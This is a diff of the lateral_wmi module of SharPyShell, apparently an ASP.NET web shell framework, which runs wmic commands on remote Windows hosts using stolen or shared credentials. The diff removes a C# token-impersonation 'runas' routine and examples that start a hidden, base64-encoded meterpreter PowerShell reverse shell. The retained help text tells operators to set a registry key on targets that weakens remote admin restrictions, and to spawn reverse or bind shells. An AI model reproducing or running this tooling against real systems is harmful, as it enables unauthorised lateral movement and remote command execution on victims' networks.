skipped 13 lines 14 14 This module run a wmic /node:[ip] command in order to launch commands on a remote windows system. 15 15 This will result in a lateral movement if shared credentials are known. 16 16 17 - Note that if you use local users credentials you should ensure that, on the target server, the feature 18 - "LocalAccountTokenFilterPolicy" is disabled. 17 + Note that if you use local admin credentials you should ensure that, on the target server, the feature 18 + "LocalAccountTokenFilterPolicy" is disabled. ( except for builtin Administrator ) 19 19 To disable that you need to add the following regkey with the value of 1: 20 20 21 21 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy skipped 2 lines 24 24 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 25 25 26 26 If you use domain users for the lateral movement, no restrictions to the process token will be applied. 27 + Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain. 27 28 28 29 This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target 29 30 server. 30 31 31 - Moreover this module should be run from a privileged user. 32 - If the application pool within the web application you are interacting with is run with application pool 33 - identity account or any limited account you won't be able to move laterally to other systems 34 - due to restrictions applied to the user. 35 - In those cases, you need to use different credentials of a more privileged user in order to launch this module. 36 - 37 32 Note that, wmi commands don't return stdout/stderr output from the execution of remote processes. 38 33 You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn 39 34 reverse/bind shell. skipped 7 lines 47 42 you can specify domain\username if user is in a domain 48 43 password password of the user to use to login on the target server 49 44 command a command compatible by cmd.exe 50 - [local_user] the username of a local user with privileged rights 51 - [local_password] the password of a local user with privileged rights 52 - [local_domain] the domain of a local user with privileged rights 53 45 54 46 Examples: 55 47 Lateral movement as privileged current application pool user, output to local shared resource: 56 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192 . 168 . 56 . 101 \everyone \ output .txt' 57 - Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd): 58 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1' 59 - Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd): 60 - #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1' 48 + #lateral_wmi 192.168.56.102 'domain \ remote_user1' 'remote_password1' 'whoami /all > C : \Windows \Temp \whoami .txt' 61 49 62 50 """ 63 51 64 - _runtime_code = ur """ 52 + _runtime_code = r """ 65 53 using System;using System.IO;using System.Diagnostics;using System.Text; 66 54 public class SharPyShell 67 55 { skipped 36 lines 104 92 } 105 93 """ 106 94 107 - _runtime_code_runas = ur""" 108 - using System;using System.IO;using System.Diagnostics;using System.Text; 109 - using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution; 110 - 111 - public class SharPyShell 112 - { 113 - public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid 114 - { 115 - private SafeTokenHandle() 116 - : base(true) 117 - { 118 - } 119 - 120 - [DllImport("kernel32.dll")] 121 - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 122 - [SuppressUnmanagedCodeSecurity] 123 - [return: MarshalAs(UnmanagedType.Bool)] 124 - private static extern bool CloseHandle(IntPtr handle); 125 - 126 - protected override bool ReleaseHandle() 127 - { 128 - return CloseHandle(handle); 129 - } 130 - } 131 - 132 - [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO 133 - { 134 - public int cb; 135 - public String lpReserved; 136 - public String lpDesktop; 137 - public String lpTitle; 138 - public uint dwX; 139 - public uint dwY; 140 - public uint dwXSize; 141 - public uint dwYSize; 142 - public uint dwXCountChars; 143 - public uint dwYCountChars; 144 - public uint dwFillAttribute; 145 - public uint dwFlags; 146 - public short wShowWindow; 147 - public short cbReserved2; 148 - public IntPtr lpReserved2; 149 - public IntPtr hStdInput; 150 - public IntPtr hStdOutput; 151 - public IntPtr hStdError; 152 - } 153 - 154 - [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION 155 - { 156 - public IntPtr hProcess; 157 - public IntPtr hThread; 158 - public uint dwProcessId; 159 - public uint dwThreadId; 160 - } 161 - 162 - [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES 163 - { 164 - public int Length; 165 - public IntPtr lpSecurityDescriptor; 166 - public bool bInheritHandle; 167 - } 168 - 169 - [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] 170 - public static extern bool CloseHandle(IntPtr handle); 171 - 172 - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 173 - public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); 174 - 175 - [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)] 176 - public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 177 - 178 - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")] 179 - public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); 180 - 181 - [DllImport("kernel32.dll", SetLastError=true)] 182 - public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 183 - 184 - const uint WAIT_ABANDONED = 0x00000080; 185 - const uint WAIT_OBJECT_0 = 0x00000000; 186 - const uint WAIT_TIMEOUT = 0x00000102; 187 - 188 - [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")] 189 - public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory) 190 - { 191 - SafeTokenHandle safeTokenHandle; 192 - int logon_type = 4; 193 - uint process_ms_timeout = 60000; 194 - string output = ""; 195 - string error_string = "{{{SharPyShellError}}}"; 196 - try 197 - { 198 - const int LOGON32_PROVIDER_DEFAULT = 0; 199 - const int LOGON32_PROVIDER_WINNT35 = 1; 200 - const int LOGON32_PROVIDER_WINNT40 = 2; 201 - const int LOGON32_PROVIDER_WINNT50 = 3; 202 - bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle); 203 - if (false == returnValue) 204 - { 205 - output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error(); 206 - return output; 207 - } 208 - using (safeTokenHandle) 209 - { 210 - using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle())) 211 - { 212 - using (WindowsImpersonationContext impersonatedUser = newId.Impersonate()) 213 - { 214 - IntPtr Token = new IntPtr(0); 215 - IntPtr DupedToken = new IntPtr(0); 216 - bool ret; 217 - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); 218 - sa.bInheritHandle = false; 219 - sa.Length = Marshal.SizeOf(sa); 220 - sa.lpSecurityDescriptor = (IntPtr)0; 221 - Token = WindowsIdentity.GetCurrent().Token; 222 - const uint GENERIC_ALL = 0x10000000; 223 - const int SecurityImpersonation = 2; 224 - const int TokenType = 1; 225 - ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); 226 - if (ret == false){ 227 - output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); 228 - return output; 229 - } 230 - STARTUPINFO si = new STARTUPINFO(); 231 - si.cb = Marshal.SizeOf(si); 232 - si.lpDesktop = ""; 233 - string commandLinePath = ""; 234 - File.Create(stdout_file).Dispose(); 235 - File.Create(stderr_file).Dispose(); 236 - string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec"); 237 - string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe"; 238 - commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file; 239 - PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 240 - ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi); 241 - if (ret == false){ 242 - output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); 243 - return output; 244 - } 245 - else{ 246 - uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout); 247 - if(wait_for == WAIT_OBJECT_0){ 248 - output += "\n" + File.ReadAllText(stdout_file); 249 - string errors = File.ReadAllText(stderr_file); 250 - if (!String.IsNullOrEmpty(errors)) 251 - output += "\n" + errors; 252 - } 253 - else{ 254 - output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error(); 255 - } 256 - File.Delete(stdout_file); 257 - File.Delete(stderr_file); 258 - CloseHandle(pi.hProcess); 259 - CloseHandle(pi.hThread); 260 - } 261 - CloseHandle(DupedToken); 262 - } 263 - } 264 - } 265 - } 266 - catch (Exception ex) 267 - { 268 - output += error_string + "\nException occurred. " + ex.Message; 269 - return output; 270 - } 271 - return output; 272 - } 273 - 274 - public byte[] ExecRuntime() 275 - { 276 - string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s"); 277 - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); 278 - return(output_func_byte); 279 - } 280 - } 281 - """ 282 - 283 - __default_local_user = '' 284 - __default_local_password = '' 285 - __default_local_domain = '' 286 - __wmi_code_arguments = ur'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""' 95 + __wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""' 287 96 288 97 def __run_as_current_user(self, wmi_code_arguments): 289 - request = self._create_request([ wmi_code_arguments, ' current_user ' ] ) 290 - encrypted_request = self._encrypt_request(request) 291 - encrypted_response = self._post_request(encrypted_request) 292 - decrypted_response = self._decrypt_response(encrypted_response) 293 - return decrypted_response 294 - 295 - def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain): 296 - request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas']) 98 + request = self._create_request(wmi_code_arguments) 297 99 encrypted_request = self._encrypt_request(request) 298 100 encrypted_response = self._post_request(encrypted_request) 299 101 decrypted_response = self._decrypt_response(encrypted_response) skipped 7 lines 307 109 username = args_parser.get(1) 308 110 password = args_parser.get(2) 309 111 command = args_parser.get(3) 310 - local_user = args_parser.get(4, self.__default_local_user) 311 - local_password = args_parser.get(5, self.__default_local_password) 312 - local_domain = args_parser.get(6, self.__default_local_domain) 313 - return target_ip, username, password, command, local_user, local_password, local_domain 112 + return target_ip, username, password, command 314 113 315 114 def _create_request(self, args): 316 - arguments, request_type = args 115 + arguments = args 317 116 working_path = self._module_settings['working_directory'] 318 - if request_type == 'runas': 319 - wmi_code_arguments, local_user, local_password, local_domain = arguments 320 - stdout_file = self._module_settings['env_directory'] + '\\' + random_generator() 321 - stderr_file = self._module_settings['env_directory'] + '\\' + random_generator() 322 - request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments, 323 - stdout_file, stderr_file, working_path) 324 - else: 325 - wmi_code_arguments = arguments 326 - request = self._runtime_code % (wmi_code_arguments, working_path) 117 + wmi_code_arguments = arguments 118 + request = self._runtime_code % (wmi_code_arguments, working_path) 327 119 return request 328 120 329 121 def run(self, args): 330 122 try: 331 - target_ip, username, password, command, \ 332 - local_user, local_password, local_domain = self.__parse_run_args(args) 123 + target_ip, username, password, command = self . __parse_run_args ( args ) 333 124 wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command) 334 - if local_user == '': 335 - response = self.__run_as_current_user(wmi_code_arguments) 336 - else: 337 - response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain) 125 + response = self.__run_as_current_user(wmi_code_arguments) 338 126 parsed_response = self._parse_response(response) 339 127 except ModuleException as module_exc: 340 128 parsed_response = str(module_exc) skipped 5 lines